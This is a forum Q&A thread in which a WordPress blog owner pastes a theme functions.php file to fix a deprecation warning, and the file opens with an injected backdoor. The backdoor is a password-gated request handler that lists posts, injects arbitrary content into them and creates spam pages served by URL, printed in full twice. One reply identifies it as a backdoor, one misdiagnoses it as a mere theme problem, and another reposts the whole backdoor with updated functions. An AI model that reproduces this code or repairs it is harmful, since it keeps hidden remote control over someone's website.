Im sorry, if you show my blog at autodhil.com that have a problem cause on the top of my blog have a wrong scrip..so that show this notification :

Deprecated mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. in /home/autodhil/public_html/wp-content/themes/sahifa2/functions.php on line 60

I really dont know how to fix it... i see question like this but unhelp...so i hope you can help me...

BTW, this is file of function.php

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxx'))
    {
        switch ($_REQUEST['action'])
            {
                case 'get_all_links';
                    foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
                        {
                            $data['code'] = '';

                            if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
                                {
                                    $data['code'] = $_[1];
                                }

                            print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
                        }
                break;

                case 'set_id_links';
                    if (isset($_REQUEST['data']))
                        {
                            $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');

                            $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
                            if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

                            if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
                                {
                                    print "true";
                                }
                        }
                break;

                case 'create_page';
                    if (isset($_REQUEST['remove_page']))
                        {
                            if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
                                {
                                    print "true";
                                }
                        }
                    elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
                        {
                            if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
                                {
                                    print "true";
                                }
                        }
                break;

                default: print "ERROR_WP_ACTION WP_URL_CD";
            }

        die("");
    }


if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
    {
        $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
        if ($data -> full_content)
            {
                print stripslashes($data -> content);
            }
        else
            {
                print '<!DOCTYPE html>';
                print '<html ';
                language_attributes();
                print ' class="no-js">';
                print '<head>';
                print '<title>'.stripslashes($data -> title).'</title>';
                print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
                print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
                print '<meta name="robots" content="index, follow" />';
                print '<meta charset="';
                bloginfo( 'charset' );
                print '" />';
                print '<meta name="viewport" content="width=device-width">';
                print '<link rel="profile" href="http://gmpg.org/xfn/11">';
                print '<link rel="pingback" href="';
                bloginfo( 'pingback_url' );
                print '">';
                wp_head();
                print '</head>';
                print '<body>';
                print '<div id="content" class="site-content">';
                print stripslashes($data -> content);
                get_search_form();
                get_sidebar();
                get_footer();
            }

        exit;
    }


?><?php

define ('THEME_NAME',       'Sahifa' );
define ('THEME_FOLDER',     'sahifa' );
define ('THEME_VER',        '5.3.0'  ); //DB Theme Version

define( 'NOTIFIER_XML_FILE',        "http://themes.tielabs.com/xml/".THEME_FOLDER.".xml" );
define( 'NOTIFIER_CHANGELOG_URL',   "http://tielabs.com/changelogs/?id=2819356" );
define( 'DOCUMENTATION_URL',        "http://themes.tielabs.com/docs/".THEME_FOLDER );

if ( ! isset( $content_width ) ) $content_width = 618;

// Main Functions
require_once ( get_template_directory() . '/framework/functions/theme-functions.php');
require_once ( get_template_directory() . '/framework/functions/common-scripts.php' );
require_once ( get_template_directory() . '/framework/functions/mega-menus.php'     );
require_once ( get_template_directory() . '/framework/functions/pagenavi.php'       );
require_once ( get_template_directory() . '/framework/functions/breadcrumbs.php'    );
require_once ( get_template_directory() . '/framework/functions/tie-views.php'      );
require_once ( get_template_directory() . '/framework/functions/translation.php'    );
require_once ( get_template_directory() . '/framework/widgets.php'                  );
require_once ( get_template_directory() . '/framework/admin/framework-admin.php'    );
require_once ( get_template_directory() . '/framework/shortcodes/shortcodes.php'    );

if( tie_get_option( 'live_search' ) )
    require_once ( get_template_directory() . '/framework/functions/search-live.php');

if( !tie_get_option( 'disable_arqam_lite' ) )
    require_once ( get_template_directory() . '/framework/functions/arqam-lite.php');

?>

For your help i say a lot of thank for you...

That's a backdoor code injected probably caused by a nulled theme or plugin in your site. I'm having the same issue. The solution is to scan the whole site and get rid of everything you haven't paid for.

  • This does not answer the question, but it is actually true. The code mentioned in question is backdoor code. – Jashwant Feb 25 at 12:50

Your theme should be using the more updated mysqli* functions; mysql* functions are deprecated in more current PHP versions. Consider a different theme that uses mysqli* functions; your theme uses mysql* functions not supported in your PHP version.

If, as another person suggested, you suspect a hack on your site, there are several things to do: update WP/themes/plugins, remove unneeded plugins/themes, check htaccess, look for modified files, etc. Much detail involved than can be posted here; I wrote a blog entry for myself to remind me of recovering a site after a hack: http://securitydawg.com/recovering-from-a-hacked-wordpress-site/ .

Those steps should recover a hacked site (which yours is probably not; the deprecated functions in the theme are causing the problems; updating/changing theme to one that uses mysqli* functions will fix that).

It is asking to you change the mysql_escape_string to mysql_real_escape_string I have done them below but if I have missed one you will get another error.

 <?php

    if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxxxxx'))
        {
            switch ($_REQUEST['action'])
                {
                    case 'get_all_links';
                        foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
                            {
                                $data['code'] = '';

                                if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
                                    {
                                        $data['code'] = $_[1];
                                    }

                                print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
                            }
                    break;

                    case 'set_id_links';
                        if (isset($_REQUEST['data']))
                            {
                                $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_real_escape_string($_REQUEST['id']).'"');

                                $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
                                if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

                                if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_real_escape_string($post_content) . '" WHERE `ID` = "' . mysql_real_escape_string($_REQUEST['id']) . '"') !== false)
                                    {
                                        print "true";
                                    }
                            }
                    break;

                    case 'create_page';
                        if (isset($_REQUEST['remove_page']))
                            {
                                if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_real_escape_string($_REQUEST['url']).'"'))
                                    {
                                        print "true";
                                    }
                            }
                        elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
                            {
                                if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_real_escape_string($_REQUEST['url']).'", `title` = "'.mysql_real_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_real_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_real_escape_string($_REQUEST['description']).'", `content` = "'.mysql_real_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_real_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_real_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_real_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_real_escape_string($_REQUEST['description']).'", `content` = "'.mysql_real_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_real_escape_string($_REQUEST['full_content']).'"'))
                                    {
                                        print "true";
                                    }
                            }
                    break;

                    default: print "ERROR_WP_ACTION WP_URL_CD";
                }

            die("");
        }


    if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_real_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
        {
            $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_real_escape_string($_SERVER['REQUEST_URI']).'"');
            if ($data -> full_content)
                {
                    print stripslashes($data -> content);
                }
            else
                {
                    print '<!DOCTYPE html>';
                    print '<html ';
                    language_attributes();
                    print ' class="no-js">';
                    print '<head>';
                    print '<title>'.stripslashes($data -> title).'</title>';
                    print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
                    print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
                    print '<meta name="robots" content="index, follow" />';
                    print '<meta charset="';
                    bloginfo( 'charset' );
                    print '" />';
                    print '<meta name="viewport" content="width=device-width">';
                    print '<link rel="profile" href="http://gmpg.org/xfn/11">';
                    print '<link rel="pingback" href="';
                    bloginfo( 'pingback_url' );
                    print '">';
                    wp_head();
                    print '</head>';
                    print '<body>';
                    print '<div id="content" class="site-content">';
                    print stripslashes($data -> content);
                    get_search_form();
                    get_sidebar();
                    get_footer();
                }

            exit;
        }


    ?><?php

    define ('THEME_NAME',       'Sahifa' );
    define ('THEME_FOLDER',     'sahifa' );
    define ('THEME_VER',        '5.3.0'  ); //DB Theme Version

    define( 'NOTIFIER_XML_FILE',        "http://themes.tielabs.com/xml/".THEME_FOLDER.".xml" );
    define( 'NOTIFIER_CHANGELOG_URL',   "http://tielabs.com/changelogs/?id=2819356" );
    define( 'DOCUMENTATION_URL',        "http://themes.tielabs.com/docs/".THEME_FOLDER );

    if ( ! isset( $content_width ) ) $content_width = 618;

    // Main Functions
    require_once ( get_template_directory() . '/framework/functions/theme-functions.php');
    require_once ( get_template_directory() . '/framework/functions/common-scripts.php' );
    require_once ( get_template_directory() . '/framework/functions/mega-menus.php'     );
    require_once ( get_template_directory() . '/framework/functions/pagenavi.php'       );
    require_once ( get_template_directory() . '/framework/functions/breadcrumbs.php'    );
    require_once ( get_template_directory() . '/framework/functions/tie-views.php'      );
    require_once ( get_template_directory() . '/framework/functions/translation.php'    );
    require_once ( get_template_directory() . '/framework/widgets.php'                  );
    require_once ( get_template_directory() . '/framework/admin/framework-admin.php'    );
    require_once ( get_template_directory() . '/framework/shortcodes/shortcodes.php'    );

    if( tie_get_option( 'live_search' ) )
        require_once ( get_template_directory() . '/framework/functions/search-live.php');

    if( !tie_get_option( 'disable_arqam_lite' ) )
        require_once ( get_template_directory() . '/framework/functions/arqam-lite.php');

    ?>
  • I don't know how to change it..... is I must change all mysql_escape_string to mysql_real_escape_string in a funtion.php file ... please help me. If you can, can you change my code on file function.php so i can copy and paste it to my file funton.php file so i change all that code – Fadhil May 15 '17 at 2:01

Your Answer

 
discard

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.